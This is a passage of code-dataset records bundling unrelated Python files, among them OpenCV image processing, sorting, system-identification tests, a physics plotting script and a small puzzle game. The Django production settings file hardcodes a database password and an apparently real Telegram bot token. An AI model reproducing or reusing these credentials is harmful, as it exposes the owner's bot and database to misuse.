os\nfrom code.hashcode import Simulation\n\nCHALLENGES = ['harthiya','mansour','zayona', 'karada']\n\nfor challenge in CHALLENGES:\n print('##### Executing simulation %s #####' % challenge)\n input_filename = os.path.join('datas', '%s.csv' % challenge)\n simulation = Simulation(input_filename)\n simulation.launch_simulation()\n simulation.submit()\n","sub_path":"Hackathon/hashcode2018-master/run.py","file_name":"run.py","file_ext":"py","file_size_in_byte":509,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"138443267","text":"import cv2\nimport numpy as np\n\n\noriginal_image = cv2.imread(\"./public/saved_images/originalImage.jpg\")\n\ndef biggestContour(contours):\n biggest = np.array([])\n max_area = 0\n for i in contours:\n area = cv2.contourArea(i)\n if area > 50:\n peri = cv2.arcLength(i, True)\n approx = cv2.approxPolyDP(i, 0.02 * peri, True)\n if area > max_area and len(approx) == 4:\n biggest = approx\n max_area = area\n return biggest,max_area\n\n\ndef pre_process_image(img):\n imgGray = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY) # CONVERT IMAGE TO GRAY SCALE\n imgBlur = cv2.GaussianBlur(imgGray, (5, 5), 1) # ADD GAUSSIAN BLUR\n imgThreshold = cv2.adaptiveThreshold(imgBlur, 255, 1, 1, 11, 2) # APPLY ADAPTIVE THRESHOLD\n return imgThreshold\n\n\nthreshold_img = pre_process_image(original_image) \n\ncontours, hierarchy = cv2.findContours(threshold_img, cv2.RETR_EXTERNAL, cv2.CHAIN_APPROX_SIMPLE) \nframe = None\n\nbiggest, maxArea = biggestContour(contours) # FIND THE BIGGEST CONTOUR\nif (biggest.size !=0): \n perimeter = cv2.arcLength(biggest,True)\n \n approx = cv2.approxPolyDP(biggest,0.02*perimeter,True)\n\n ax = approx.item(0)\n ay = approx.item(1)\n bx = approx.item(2)\n by = approx.item(3)\n cx = approx.item(4)\n cy = approx.item(5)\n dx = approx.item(6)\n dy = approx.item(7)\n\n w,h = 900,900\n \n \n pt1 = np.float32([[bx,by],[ax,ay],[cx,cy],[dx,dy]])\n pt2 = np.float32([[0,0],[w,0],[0,h],[w,h]])\n\n matrix = cv2.getPerspectiveTransform(pt1,pt2)\n img_perspective = cv2.warpPerspective(original_image,matrix,(w,h))\n\n frame = cv2.cvtColor(img_perspective,cv2.COLOR_BGR2GRAY)\n frame = cv2.rotate(frame,cv2.ROTATE_90_COUNTERCLOCKWISE)\n cv2.imwrite(\"./public/saved_images/frame_binary.jpg\",frame)\nelse:\n print(\"No frame detected\")\n exit(1)\n\n","sub_path":"extractFrame.py","file_name":"extractFrame.py","file_ext":"py","file_size_in_byte":1894,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"631294924","text":"from __future__ import print_function\nimport sys\nimport string\nfrom matrix import *\nimport numpy as np\nfrom eigen import *\nimport math\n\nif len(sys.argv)>1 : \n n = int(sys.argv[1])\n\nelse:\n n = 4\n\n\nprint(\"Testing cyclic eigenvalue decomposition\")\n\nA = matrix(n, n)\n\n\nfor ii in range(0, n):\n A[ii,ii] = np.random.random()\n for jj in range(ii, n):\n const = np.random.random()\n A[ii, jj] = const\n A[jj, ii] = const\n\n\n\nprint(\"Original matrix, A:\")\nmatrix.printing(A)\n\nD, V = jacobi_cycle(A, 1e-6)\n\n\nprint('V: ')\nmatrix.printing(V)\n\nprint(\"Diagonalized eigenvalue matrix, D:\")\nmatrix.printing(D)\nprint(\"Testing V^{T}AV = D:\")\nmatrix.printing(matrix_mult(trans(V), matrix_mult(A, V)))\n#\"\"\"\n#eigen_by_eigen(A, 1, 1e-6)\n#\"\"\"\n\n\n","sub_path":"problems/eigenvalues/main_cyclic.py","file_name":"main_cyclic.py","file_ext":"py","file_size_in_byte":753,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"591548571","text":"from random import shuffle\n\ndef partition(a, start, end):\n pivot_guess = ( start + int((end - start)/2))\n initial_pivot_val = a[pivot_guess]\n sorted_upto = start\n a[pivot_guess], a[end] = a[end], a[pivot_guess]\n for i in xrange(start, end):\n if a[i] < initial_pivot_val:\n a[i], a[sorted_upto] = a[sorted_upto], a[i]\n sorted_upto += 1\n \n a[end], a[sorted_upto] = a[sorted_upto], a[end]\n return sorted_upto\n\ndef quick_sort(a, start, end):\n if start >= end:\n return\n p = partition(a, start, end)\n quick_sort(a, start, p-1)\n quick_sort(a, p+1, end)\n\n\nif __name__ == '__main__':\n \n a = range(1,100000)\n shuffle(a)\n quick_sort(a, 0, len(a)-1)\n assert(all([a[i] <= a[i+1] for i in xrange(len(a) - 1)]))\n","sub_path":"practice/quicksort_practice.py","file_name":"quicksort_practice.py","file_ext":"py","file_size_in_byte":783,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"366481206","text":"class Student:\n def __init__(self,name,hometown,age,height,favorite_ice_cream):\n self.name=name\n self.hometown=hometown\n self.age=age\n self.height=height\n self.favorite_ice_cream=favorite_ice_cream\n\n def print_summary(self):\n print(self.name)\n print(self.hometown)\n print(self.age)\n print(self.height)\n print(self.favorite_ice_cream)\n\n def get_giraffe_gap(self):\n giraffe=500\n return(giraffe-self.height)\n \n \n \n##from student import student\n##my_student=student(\"may\",\"hifa\",\"15\",\"160\",\"vanilla cookies\")\n##my_student.get_giraffe_gap(\"160\")\n","sub_path":"student.py","file_name":"student.py","file_ext":"py","file_size_in_byte":651,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"276153274","text":"#!/usr/bin/env python3\nimport atlas_mpl_style as atlas\nimport numpy as np\nimport numexpr as ne\nimport scipy.stats as stats\nimport scipy.interpolate as interp\nfrom statsmodels.nonparametric.kernel_regression import KernelReg\nimport matplotlib.pyplot as plt\nfrom matplotlib.ticker import AutoMinorLocator\nfrom matplotlib.markers import CARETUP\nimport argparse\nimport pickle\nimport ROOT as r\nr.PyConfig.IgnoreCommandLineOptions = True\n\nfrom root_pandas import read_root # noqa\natlas.use_atlas_style()\n\n\nclass FitFunction:\n def __init__(self, x, y, yerr=None):\n reg = KernelReg([y], [x], var_type='c', reg_type='ll')\n vals = reg.fit(x)[0]\n self.spline = interp.UnivariateSpline(\n x, vals, w=np.isfinite(vals), ext='const')\n # calculate RMS and normalize to stop normalization drifting\n xs = np.linspace(np.min(x), np.max(x), 1000)\n ys = self.spline(xs)\n self.rms = np.sqrt(np.sum(ys**2) / 1000)\n\n def __repr__(self):\n return f'RMS: {self.rms:.4g}, Spline: {str(self.spline.get_coeffs())}'\n\n def fit(self, x):\n return self.spline(x) / self.rms\n\n\n# import root_numpy as rnp\n# import rootpy as rpy\n\nparser = argparse.ArgumentParser(\n description=\"Plot data and background (QCD and MC)\", prog='plot.py')\nparser.add_argument(\n '--no-kinematic-reweighting',\n dest='no_kinematic_reweighting',\n default=False,\n action='store_true'\n)\nparser.add_argument(\n '--mc',\n dest='mc',\n action='append',\n nargs=2,\n metavar=('MC_label', 'MC_file'),\n help='MC backgrounds')\nparser.add_argument(\n '--norm',\n dest='norm',\n action='store',\n type=float,\n default='0.084',\n help='QCD normalization')\n\nparser.add_argument(\n '-f',\n dest='f',\n action='store',\n type=float,\n default='0.22',\n help='n-jets factor')\nparser.add_argument(\n 'region',\n choices=['signal', 'control', 'sideband'],\n default='signal',\n help='HH mass region',\n action='store')\nparser.add_argument(\n 'var',\n choices=[\n 'm_hh', 'm_h1', 'pT_h1', 'eta_h1', 'm_h2', 'pT_h2', 'eta_h2', 'njets',\n 'pT_4', 'pT_2', 'eta_i', 'dRjj_1', 'dRjj_2'\n ],\n default='m_hh',\n help='Variable to plot',\n action='store')\nparser.add_argument(\n 'data', action='store', metavar='data_file', help='Data ROOT file')\nargs = parser.parse_args()\nf = args.f\nif args.region == 'signal':\n args.region = 'sig' # match tree name\n\nvar_labels = {\n 'm_hh': r'$m_{hh}$ [GeV]',\n 'm_h1': r'$m^{\\textsf{lead}}_{h}$ [GeV]',\n 'pT_h1': r'$p_T^{\\textsf{lead}}$ [GeV]',\n 'eta_h1': r'$\\eta^{\\textsf{lead}}$ [GeV]',\n 'm_h2': r'$m^{\\textsf{sublead}}_{h}$ [GeV]',\n 'pT_h2': r'$p_T^{\\textsf{sublead}}$ [GeV]',\n 'eta_h2': r'$\\eta^{\\textsf{sublead}}$ [GeV]',\n 'njets': r'$n_{\\textsf{jets}}$',\n 'pT_4': r'$p_{T}(h_4)$ [GeV]',\n 'pT_2': r'$p_{T}(h_2)$ [GeV]',\n 'eta_i': r'$\\left< \\left| \\eta_i \\right| \\right>$',\n 'dRjj_1': r'$\\Delta R(j_1, j_2)$',\n 'dRjj_2': r'$\\Delta R(j_3, j_4)$'\n}\n\n# Kinematic reweighting\nif args.no_kinematic_reweighting:\n def reweight(df):\n pass\nelse:\n with open(\"reweight.pickle\", mode='rb') as file:\n all_rwgt_funcs = pickle.load(file)\n\n def reweight(df):\n sf = np.ones(df.shape[0])\n for rwgt in all_rwgt_funcs:\n for k, v in rwgt.items():\n if k == 'rwgt_pT_4':\n sel = df[k].values < 80\n sf[sel] *= v.fit(df[sel][k].values)\n else:\n sf *= v.fit(df[k].values)\n df['kinematic_sf'] = sf\n# End of kinematic reweighting\n\n\ndef nJetsWeight(f, ntag, njets):\n to_pick = 4 - ntag\n pick_from = njets - ntag\n return 1 - stats.binom.cdf(to_pick - 1, n=pick_from, p=f)\n\n\ndef plot_hists(hists, bins, ax=None):\n cumulative = np.zeros_like(hists[0][1])\n cumulative_errs = np.zeros_like(hists[0][1], dtype=np.float64)\n x = np.stack((bins[:-1], bins[1:])).ravel(1)\n if ax is None:\n ax = plt.gca()\n for label, hist, sumw2 in hists:\n y_low = np.stack((cumulative, cumulative)).ravel(1)\n y_high = np.stack((hist, hist)).ravel(1)\n ax.plot(x, y_high, color='k', lw='0.5')\n ax.fill_between(x, y_high, y_low, label=label)\n # ax.bar(x=x, height=hist, width=width, bottom=cumulative, label=label)\n cumulative += hist\n cumulative_errs += sumw2\n cumulative_errs = np.sqrt(cumulative_errs)\n return cumulative, cumulative_errs\n\n\ndef weighted_chisquare(f_obs, f_exp, f_obs_err, f_exp_err):\n \"Calculate weighted chi-square using method in arxiv:physics/0605123\"\n # selection = np.logical_and(f_obs >= 10, f_exp >= 10)\n selection = True\n w1 = f_obs[selection]\n w2 = f_exp[selection]\n s1 = f_obs_err[selection] # noqa\n s2 = f_exp_err[selection] # noqa\n W1 = np.sum(w1) # noqa\n W2 = np.sum(w2) # noqa\n X2 = ne.evaluate(\n \"sum((W1*w2 - W2*w1)**2 / (W1**2 * s2**2 + W2**2 * s1**2))\")\n p = stats.chi2.sf(X2, np.size(w1) - 1)\n return (X2, p)\n\n\nif args.var in ['njets']:\n var = args.var\nelif args.var in [\n 'm_hh', 'm_h1', 'pT_h1', 'eta_h1', 'm_h2', 'pT_h2', 'eta_h2'\n]:\n var = f'event_{args.var}'\nelif args.var in ['pT_4', 'pT_2', 'eta_i', 'dRjj_1', 'dRjj_2']:\n var = f'rwgt_{args.var}'\n\ndata, bins = np.histogram(\n read_root(args.data, args.region).query('ntag==4')[var].values,\n bins=(np.arange(3.5, 10.0, step=1) if var == 'njets' else 30))\nbin_centers = (bins[1:] + bins[:-1]) / 2\n\nfig, ax, ratio_ax = atlas.ratio_axes()\n\nbkgs = []\nmc_2tag = np.zeros_like(data, dtype=np.float64)\nmc_2tag_sumw2 = np.zeros_like(data, dtype=np.float64)\nif args.mc is None:\n args.mc = []\nfor mc in args.mc:\n df_4tag = read_root(mc[1], args.region).query('ntag==4')\n hist_4tag, _ = np.histogram(\n df_4tag[var].values, bins=bins, weights=df_4tag['mc_sf'].values)\n hist_4tag_sumw2, _ = np.histogram(\n df_4tag[var].values, bins=bins, weights=(df_4tag['mc_sf'].values**2))\n df_2tag = read_root(mc[1], args.region).query('ntag==2')\n reweight(df_2tag)\n hist_2tag, _ = np.histogram(\n df_2tag[var].values,\n bins=bins,\n weights=(df_2tag['mc_sf'].values * nJetsWeight(\n f, 2, df_2tag['njets'].values) * args.norm\n * df_2tag['kinematic_sf'].values))\n hist_2tag_sumw2, _ = np.histogram(\n df_2tag[var].values,\n bins=bins,\n weights=(df_2tag['mc_sf'].values * nJetsWeight(\n f, 2, df_2tag['njets'].values) * args.norm\n * df_2tag['kinematic_sf'].values)**2)\n\n mc_2tag += hist_2tag\n mc_2tag_sumw2 += hist_2tag_sumw2\n bkgs.append((mc[0], hist_4tag, hist_4tag_sumw2))\n\nqcd_df = read_root(args.data, args.region).query('ntag==2')\nreweight(qcd_df)\nqcd, _ = np.histogram(\n qcd_df[var].values,\n bins=bins,\n weights=(nJetsWeight(f, 2, qcd_df['njets'].values)\n * args.norm * qcd_df['kinematic_sf'].values))\nqcd -= mc_2tag # Subtract off 2 tag MCs\nqcd_sumw2, _ = np.histogram(\n qcd_df[var].values,\n bins=bins,\n weights=(nJetsWeight(f, 2, qcd_df['njets'].values)\n * args.norm * qcd_df['kinematic_sf'].values)**2)\nqcd_sumw2 += mc_2tag_sumw2 # Errors add\n\nbkg, bkg_err = plot_hists(bkgs + [('QCD', qcd, qcd_sumw2)], bins, ax=ax)\n# bkg_err = np.sqrt((0.1*bkg)**2 + bkg_err**2)\nax.errorbar(bin_centers, data, yerr=np.sqrt(data), fmt='ko', label='Data 16')\nx2, p = weighted_chisquare(data, bkg, np.sqrt(data), bkg_err)\nbkg_yield = np.sum(bkg)\ndata_yield = np.sum(data)\n\nhandles, labels = ax.get_legend_handles_labels()\nax.legend(reversed(handles), reversed(labels), loc='upper right')\n\nbkg_err /= bkg # proportional errors\nbkg_err = np.stack((bkg_err, bkg_err)).ravel(1) # double up\n\nratio_ax.plot([bins[0], bins[-1]], [0, 0], color='black')\nratio_ax.fill_between(\n np.stack((bins[:-1], bins[1:])).ravel(1),\n bkg_err,\n -bkg_err,\n color='black',\n alpha=0.3)\nratio = (data - bkg) / bkg\nratio_ax.errorbar(\n bin_centers, ratio, yerr=(np.sqrt(data) * (ratio / data)), fmt='ko')\nout_of_range = np.where(ratio > 1, 1, np.where(ratio < -1, -1, np.NaN))\nratio_ax.plot(bin_centers, out_of_range, marker=CARETUP, color='paper:red')\nratio_ax.set_ylabel(\n r\"$\\frac{\\textsf{Data} - \\textsf{Bkg}}{\\textsf{Bkg}}$\", fontsize=12)\nratio_ax.set_ylim((-1, 1))\nratio_ax.yaxis.set_minor_locator(AutoMinorLocator())\nax.yaxis.set_minor_locator(AutoMinorLocator())\natlas.set_xlabel(var_labels[args.var], ax=ratio_ax)\nax.set_ylim((0, ax.get_ylim()[1]))\natlas.set_ylabel('Events', ax=ax)\n\nregion = args.region\nif region == 'sig':\n region = 'signal'\nregion = region.capitalize()\n\natlas.draw_atlas_label(\n 0.3,\n 0.97,\n ax=ax,\n status='int',\n energy='13 TeV',\n lumi=24,\n desc=(fr'{region} Region \\\\ $\\chi^2={x2:.3f},\\ p={p:.3f}$ \\\\'\n fr'Bkg. Yield = {bkg_yield:.2f}, \\\\'\n fr'Data Yield = {data_yield:.5g}'),\n lumi_lt=True)\nfig.savefig(f'{args.var}-{region}-f{f}.pdf', transparent=True)\n","sub_path":"analysis/boosted/tools/plot.py","file_name":"plot.py","file_ext":"py","file_size_in_byte":8967,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"62989820","text":"# coding: utf-8\n\nfrom __future__ import (\n unicode_literals, print_function, absolute_import, division\n)\n\nimport os\n\nDEBUG = False\n\nBASE_DIR = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))\nHOME_DIR = os.path.dirname(BASE_DIR)\nLOGS_DIR = os.path.join(HOME_DIR, \"logs\")\nSTATIC_ROOT = os.path.join(HOME_DIR, \"static\")\nMEDIA_ROOT = os.path.join(HOME_DIR, \"media\")\n\nALLOWED_HOSTS = [\n \"karma.grumbler.me\"\n]\n\nDATABASES = {\n 'default': {\n 'ENGINE': 'django.db.backends.postgresql',\n 'HOST': '127.0.0.1',\n 'USER': 'karma',\n 'PASSWORD': \"*&Gasdf8gb&*Gxhabd\",\n 'NAME': 'karma',\n }\n}\n\nBOT_TOKEN = \"199502282:AAFVQvi5jRGfjxMqHND6lVFCji4qvA53yPQ\"\n\n\nLOGGING = {\n 'version': 1,\n 'disable_existing_loggers': False,\n 'formatters': {\n 'verbose': {\n 'format': '%(levelname)s %(asctime)s %(module)s %(process)d %(thread)d %(message)s'\n },\n 'simple': {\n 'format': '%(levelname)s %(message)s'\n },\n },\n 'handlers': {\n 'console': {\n 'class': 'logging.StreamHandler',\n 'formatter': 'verbose',\n },\n 'file': {\n 'level': 'DEBUG',\n 'class': 'logging.FileHandler',\n 'filename': os.path.join(LOGS_DIR, \"app.log\"),\n },\n },\n 'loggers': {\n 'root': {\n 'handlers': ['console', 'file'],\n 'level': os.getenv('DJANGO_LOG_LEVEL', 'INFO'),\n },\n 'bot': {\n 'handlers': ['console', 'file'],\n 'level': os.getenv('DJANGO_LOG_LEVEL', 'INFO'),\n },\n 'karma': {\n 'handlers': ['console', 'file'],\n 'level': os.getenv('DJANGO_LOG_LEVEL', 'INFO'),\n },\n 'django': {\n 'handlers': ['console', 'file'],\n 'level': os.getenv('DJANGO_LOG_LEVEL', 'INFO'),\n },\n },\n}\n","sub_path":"karma/settings_prod.py","file_name":"settings_prod.py","file_ext":"py","file_size_in_byte":1867,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"224352532","text":"import random\n\nSIZE = 8\n\ndef main():\n \n def setTable( table ):\n options = []\n values = {}\n amount = SIZE - 3\n \n for i in range( amount ):\n options.append( i + 1 )\n for key in range( amount ):\n values[ key + 1 ] = 0\n for x in range( SIZE ):\n for y in range( SIZE ):\n if x == 0 or y == 0 or x == SIZE - 1 or y == SIZE - 1:\n table[ x ][ y ] = \" \"\n elif x == 1 and y == 1:\n table[ x ][ y ] = \"+\"\n elif x == 1:\n table[ x ][ y ] = \"-\"\n elif y == 1:\n table[ x ][ y ] = \"|\"\n else:\n selected = random.randint( 0, amount - 1 )\n while values[ options[ selected ] ] >= amount:\n selected = random.randint( 0, amount - 1 )\n values[ options [ selected ] ] += 1\n table[ x ][ y ] = str( options[ selected ] )\n for x in range( SIZE ):\n if x - 1 > 0:\n table[ 0 ][ x ] = str( x - 1 )\n table[ x ][ 0 ] = str( x - 1 )\n table[ 0 ][ SIZE - 1 ] = \"TOTAL\"\n table[ 1 ][ SIZE - 1 ] = \"-\"\n table[ SIZE - 1 ][ 0 ] = \"TOTAL\"\n table[ SIZE - 1 ][ 1 ] = \"|\"\n \n def displayTable( table ):\n calculateTotals( table )\n for x in range( SIZE ):\n for y in range( SIZE ):\n print( table[ x ][ y ], end = '\\t' )\n print()\n print()\n def swapNumbers( table ):\n amount = SIZE - 3\n \n firstRow = int( input( \"The row of the first number: \" ) )\n while firstRow < 1 or firstRow > amount:\n firstRow = int( input( \"The row of the first number: \" ) )\n firstColumn = int( input( \"The column of the first number: \" ) )\n while firstColumn < 1 or firstColumn > amount:\n firstColumn = int( input( \"The column of the first number: \" ) )\n secondRow = int( input( \"The row of the second number: \" ) )\n while secondRow < 1 or secondRow > amount:\n secondRow = int( input( \"The row of the second number: \" ) )\n secondColumn = int( input( \"The column of the second number: \" ) )\n while secondColumn < 0 or secondColumn > amount:\n secondColumn = int( input( \"The column of the second number: \" ) )\n temp = table[ secondRow + 1 ][ secondColumn + 1 ]\n table[ secondRow + 1 ][ secondColumn + 1 ] = table[ firstRow + 1 ][ firstColumn + 1 ]\n table[ firstRow + 1 ][ firstColumn + 1 ] = temp\n\n def calculateTotals( table ):\n for x in range( 2, SIZE ):\n table[ x ][ SIZE - 1 ] = 0\n table[ SIZE - 1 ][ x ] = 0\n for x in range( 2, SIZE ):\n totalRow = 0\n totalColumn = 0\n for y in range( 2, SIZE ):\n totalRow += int( table[ x ][ y ] )\n totalColumn += int( table[ y ][ x ] )\n table[ x ][ SIZE - 1 ] = totalRow\n table[ SIZE - 1 ][ x ] = totalColumn\n\n def isFinished( table ):\n amount = table[ 2 ][ SIZE - 1 ]\n \n for x in range( 2, SIZE - 1 ):\n if table[ x ][ SIZE - 1 ] != amount or table[ SIZE - 1 ][ x ] != amount:\n return False\n return True\n \n table = [ [ 0 for x in range( SIZE ) ] for y in range( SIZE ) ]\n turns = 0\n setTable( table )\n displayTable( table )\n while not isFinished( table ):\n swapNumbers( table )\n displayTable( table )\n turns += 1\n print(\"Thanks for playing took you \" + str( turns ) + \" turns to finish\")\nmain()\n","sub_path":"Numbers.py","file_name":"Numbers.py","file_ext":"py","file_size_in_byte":3701,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"105217012","text":"from random import randint\n\ndef sortear_dado():\n return randint(1,60)\n\ndef gera_cartao():\n resultado=[]\n final=0\n for i in range(1, 2146): \n numero = sortear_dado()\n if numero not in resultado:\n resultado.append(numero)\n final+=1\n if final == 6:\n print(sorted(resultado))\n break\n\ngera_cartao()","sub_path":"fundamentos/mega_sena_2145.py","file_name":"mega_sena_2145.py","file_ext":"py","file_size_in_byte":385,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"315540436","text":"\"\"\"\nUnit testing.\n\"\"\"\nimport unittest\nimport matplotlib.pyplot as plt\nimport numpy as np\n\nimport sysid\nimport time\nimport sysid.subspace\n\n# pylint: disable=invalid-name, no-self-use\n\nENABLE_PLOTTING = False\n\n\nclass TestSubspace(unittest.TestCase):\n \"\"\"\n Unit testing.\n \"\"\"\n\n def test_block_hankel(self):\n \"\"\"\n Block hankel function.\n \"\"\"\n y = np.random.rand(3, 100)\n Y = sysid.subspace.block_hankel(y, 5)\n self.assertEqual(Y.shape, (15, 95))\n\n def test_block_hankel_long(self):\n \"\"\"\n Block hankel function.\n \"\"\"\n y = np.random.rand(200, 3000)\n Y = sysid.subspace.block_hankel(y, 5)\n self.assertEqual(Y.shape, (1000, 2995))\n\n def test_project(self):\n A = np.array([[1, 2, 3], [3, 2, 1], [7, 8, 9]])\n print(A)\n Y = sysid.subspace.project(A)\n print(Y)\n # self.assertEqual(Y, np.array([[1.78125, 1.4375, 1.09375], [0.875, 1., 1.125], [-0.28125, 0.0625, 0.40625]]))\n\n\n def test_project_perp(self):\n A = np.array([[1, 2, 3], [3, 2, 1], [7, 8, 9]])\n print(A)\n Y = sysid.subspace.project_perp(A)\n print(Y)\n # [[-0.78125 - 1.4375 - 1.09375]\n # [-0.875 0. - 1.125]\n # [0.28125 - 0.0625 0.59375]]\n\n def test_project_oblique(self):\n A = np.array([[1, 2, 3], [3, 2, 1], [7, 8, 9]])\n print(A)\n B = np.array([[3, 2, 3], [3, 2, 2], [7, 8, 7]])\n print(B)\n Y = sysid.subspace.project_oblique(A, B)\n print(Y)\n # [[ 1.00000000e+00 8.88178420e-16 2.22044605e-15]\n # [ 1.22124533e-15 1.00000000e+00 1.22124533e-15]\n # [ 5.37764278e-16 -9.71445147e-16 1.00000000e+00]]\n\n def test_svd(self):\n \"\"\"\n Block hankel function.\n \"\"\"\n y = np.random.rand(100, 0)\n\n def test_subspace_simulate(self):\n # ss1 = sysid.ss.StateSpaceDiscreteLinear(\n # A=0.9, B=0.5, C=1, D=0, Q=0.01, R=0.01, dt=0.1)\n ss1 = sysid.StateSpaceDiscreteLinear(\n A=np.array([[0.9]]),\n B=np.array([[0.5]]),\n C=np.array([[1]]),\n D=np.array([[0]]),\n Q=np.diag([0.01]), R=np.diag([0.01]), dt=0.1)\n\n np.random.seed(1234)\n # prbs1 = np.array(np.matrix(sysid.subspace.prbs(1000)))\n prbs1 = sysid.subspace.prbs(1000)\n def f_prbs(t, x, i):\n return prbs1[i]\n tf = 10\n data = ss1.simulate(f_u=f_prbs,\n # x0=np.array(0),\n x0=np.array([[0]]).T,\n tf=tf)\n\n def test_subspace_det_algo1_siso(self):\n \"\"\"\n Subspace deterministic algorithm (SISO).\n \"\"\"\n ss1 = sysid.StateSpaceDiscreteLinear(\n A=0.9, B=0.5, C=1, D=0, Q=0.01, R=0.01, dt=0.1)\n\n np.random.seed(1234)\n prbs1 = sysid.prbs(1000)\n\n def f_prbs(t, x, i):\n \"input function\"\n # pylint: disable=unused-argument, unused-variable\n return prbs1[i]\n\n tf = 10\n data = ss1.simulate(f_u=f_prbs, x0=np.matrix(0), tf=tf)\n ss1_id = sysid.subspace_det_algo1(\n y=data.y, u=data.u,\n f=5, p=5, s_tol=1e-1, dt=ss1.dt)\n data_id = ss1_id.simulate(f_u=f_prbs, x0=0, tf=tf)\n nrms = sysid.subspace.nrms(data_id.y, data.y)\n self.assertGreater(nrms, 0.9)\n\n if ENABLE_PLOTTING:\n plt.plot(data_id.t.T, data_id.x.T, label='id')\n plt.plot(data.t.T, data.x.T, label='true')\n plt.legend()\n plt.grid()\n\n\n def test_subspace_det_algo1_mimo(self):\n \"\"\"\n Subspace deterministic algorithm (MIMO).\n \"\"\"\n ss2 = sysid.StateSpaceDiscreteLinear(\n A=np.array([[0, 0.1, 0.2],\n [0.2, 0.3, 0.4],\n [0.4, 0.3, 0.2]]),\n B=np.array([[1, 0],\n [0, 1],\n [0, -1]]),\n C=np.array([[1, 0, 0],\n [0, 1, 0]]),\n D=np.array([[0, 0],\n [0, 0]]),\n Q=np.diag([0.01, 0.01, 0.01]), R=np.diag([0.01, 0.01]), dt=0.1)\n np.random.seed(1234)\n prbs1 = sysid.prbs(1000)\n prbs2 = sysid.prbs(1000)\n\n def f_prbs_2d(t, x, i):\n \"input function\"\n #pylint: disable=unused-argument\n i = i % 1000\n return 2 * np.array([[prbs1[i]-0.5], [prbs2[i]-0.5]])\n tf = 8\n data = ss2.simulate(\n f_u=f_prbs_2d,\n x0 =np.array([[0, 0, 0]]).T,\n tf=tf)\n ss2_id = sysid.subspace_det_algo1(\n y=data.y, u=data.u,\n f=5, p=5, s_tol=0.1, dt=ss2.dt)\n data_id = ss2_id.simulate(\n f_u=f_prbs_2d,\n # x0=np.array(np.matrix(np.zeros(ss2_id.A.shape[0])).T),\n x0=np.array([np.zeros(ss2_id.A.shape[0])]).T,\n tf=tf)\n\n nrms = sysid.nrms(data_id.y, data.y)\n self.assertGreater(nrms, 0.9)\n\n if ENABLE_PLOTTING:\n for i in range(2):\n plt.figure()\n plt.plot(data_id.t.T, data_id.y[i, :].T,\n label='$y_{:d}$ true'.format(i))\n plt.plot(data.t.T, data.y[i, :].T,\n label='$y_{:d}$ id'.format(i))\n plt.legend()\n plt.grid()\n\n def test_subspace_det_algo1_mimo2(self):\n tf = 36 * 8\n dt = 1\n in_size = 5\n out_size = 2\n data_u = np.random.randn(in_size, tf)\n data_y = np.random.randn(out_size, tf)\n print(\"data_u.shape: {}, data_y.shape: {}\".format(data_u.shape, data_y.shape))\n print(\"MIMO [{} IN, {} OUT], {} time-steps.\".format(data_u.shape[0], data_y.shape[0], data_u.shape[1]))\n\n def f_prbs_4d(t, x, i):\n return np.array([data_u[:, i]]).T\n\n start_time = time.time() # Serial\n ss3_id = sysid.subspace_det_algo1(y=data_y, u=data_u,\n f=5, # 5 Forward steps\n p=5, # 5 Backward steps\n s_tol=0.01, # 0.2\n dt=dt,\n order=-1)\n print(\"--- Serial:\\t\\t{} seconds\".format(time.time() - start_time))\n data3_id = ss3_id.simulate(\n f_u=f_prbs_4d,\n x0=np.array([np.zeros(ss3_id.A.shape[0])]).T,\n tf=tf)\n print('fit {:f}%'.format(100 * sysid.subspace.nrms(data3_id.y, data_y[:, -1:])))\n\n\n def test_subspace_det_algo1_mimo3(self):\n tf = 365 * 8\n dt = 1\n in_size = 50\n out_size = 5\n data_u = np.random.randn(in_size, tf)\n data_y = np.random.randn(out_size, tf)\n print(\"data_u.shape: {}, data_y.shape: {}\".format(data_u.shape, data_y.shape))\n print(\"MIMO [{} IN, {} OUT], {} time-steps.\".format(data_u.shape[0], data_y.shape[0], data_u.shape[1]))\n\n def f_prbs_4d(t, x, i):\n return np.array([data_u[:, i]]).T\n\n start_time = time.time() # Serial\n ss3_id = sysid.subspace_det_algo1(y=data_y, u=data_u,\n f=5, # 5 Forward steps\n p=5, # 5 Backward steps\n s_tol=0.01, # 0.2\n dt=dt,\n order=-1)\n print(\"--- Serial:\\t\\t{} seconds\".format(time.time() - start_time))\n data3_id = ss3_id.simulate(\n f_u=f_prbs_4d,\n x0=np.array([np.zeros(ss3_id.A.shape[0])]).T,\n tf=tf)\n print('fit {:f}%'.format(100 * sysid.subspace.nrms(data3_id.y, data_y[:, -1:])))\n\nif __name__ == \"__main__\":\n unittest.main()\n\n# vim: set et ft=python fenc=utf-8 ff=unix sts=4 sw=4 ts=4 :\n","sub_path":"sysid/test_subspace.py","file_name":"test_subspace.py","file_ext":"py","file_size_in_byte":7893,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"452975658","text":"import os\nfrom random import sample\nimport sys\n\ndef choose(seedNumber):\n\twith open('v92.finalResult', 'r') as f:\n\t\tlines = f.readlines()\n\ttitle = lines[0]\n\tlines = lines[1:]\n\tsubLines = sample(lines, seedNumber)\n\twith open('v92.finalResult_' + str(seedNumber), 'w+') as f:\n\t\tf.write(title)\n\t\tfor line in subLines:\n\t\t\tf.write(line)\n\ndef main():\n\tseedNumber = int(sys.argv[1])\n\tchoose(seedNumber)\n\nif __name__ == '__main__':\n\tmain()\n","sub_path":"bkscripts/choose_seed_distribution.py","file_name":"choose_seed_distribution.py","file_ext":"py","file_size_in_byte":431,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} 